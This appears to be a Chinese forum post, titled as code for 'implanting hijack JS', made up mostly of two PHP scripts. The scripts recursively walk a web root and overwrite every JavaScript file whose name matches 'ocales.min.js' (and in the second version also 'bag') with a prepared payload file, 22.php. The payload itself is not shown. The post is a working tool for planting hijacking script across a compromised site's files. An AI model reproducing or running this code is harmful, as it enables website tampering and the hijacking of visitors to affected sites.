• 注册
  • 技术交流 技术交流 关注:26 内容:30

    PHP循环遍历植入劫持JS代码

  • 查看作者
  • 打赏作者
  • <?php
    $files = [];
    $path = '/home/www/wwwroot/11';
    $jsfilepath="/home/www/wwwroot/11/22.php";
    $repfilename="ocales.min.js";
    $extensions = ['js'];
    getFiles($files, $path, $extensions);
    for($i=0;$i<count($files);$i++){
    	if(strpos($files[$i],$repfilename) !== false){ 
          echo $files[$i]."结果-".copy($jsfilepath,$files[$i])."<br/>";
    }else{
       echo $files[$i]."不包含跳过<br/>";
    }
         
       }
    
     function getFiles(&$result, $dir, $filter = [])
        {
            $files = array_diff(scandir($dir), array('.', '..', '__MACOSX'));
            if (is_array($files)) {
                foreach ($files as $value) {
                    if (is_dir($dir . '/' . $value)) {
                         getFiles($result, $dir . '/' . $value, $filter);
                    } else {
                        $path_info = pathinfo($dir . '/' . $value);
                        $extension = array_key_exists('extension', $path_info) ? $path_info['extension'] : '';
                        if (empty($filter) || (!empty($filter) && in_array($extension, $filter))) {
                            $result[] = $dir . '/' . $value;
                        }
                    }
                }
            }
        }
    	

    <?php
    $files = [];
    $path = '/home/www/wwwroot/11';
    $jsfilepath="/home/www/wwwroot/11/22.php";
    $repfilename=['ocales.min.js',"bag"];
    $extensions = ['js'];
    getFiles($files, $path, $extensions);
    for ($i=0;$i<count($files);$i++) {
    	if(is_exist($files[$i],$repfilename)) {
    		echo $files[$i]."结果-".copy($jsfilepath,$files[$i])."<br/>";
    	} else {
    		echo $files[$i]."不包含跳过<br/>";
    	}
    }
    function is_exist($str,$key) {
    	foreach($key as $v) {
    		if(!strpos($str,$v)) {
    			return false;
    		}
    	}
    	return true;
    }
    function getFiles(&$result, $dir, $filter = []) {
    	$files = array_diff(scandir($dir), array('.', '..', '__MACOSX'));
    	if (is_array($files)) {
    		foreach ($files as $value) {
    			if (is_dir($dir . '/' . $value)) {
    				getFiles($result, $dir . '/' . $value, $filter);
    			} else {
    				$path_info = pathinfo($dir . '/' . $value);
    				$extension = array_key_exists('extension', $path_info) ? $path_info['extension'] : '';
    				if (empty($filter) || (!empty($filter) && in_array($extension, $filter))) {
    					$result[] = $dir . '/' . $value;
    				}
    			}
    		}
    	}
    }


    回复

    请登录之后再进行评论

    登录

    WordPress后台-外观-小工具 进行配置小工具

    帖子间隔 侧栏位置: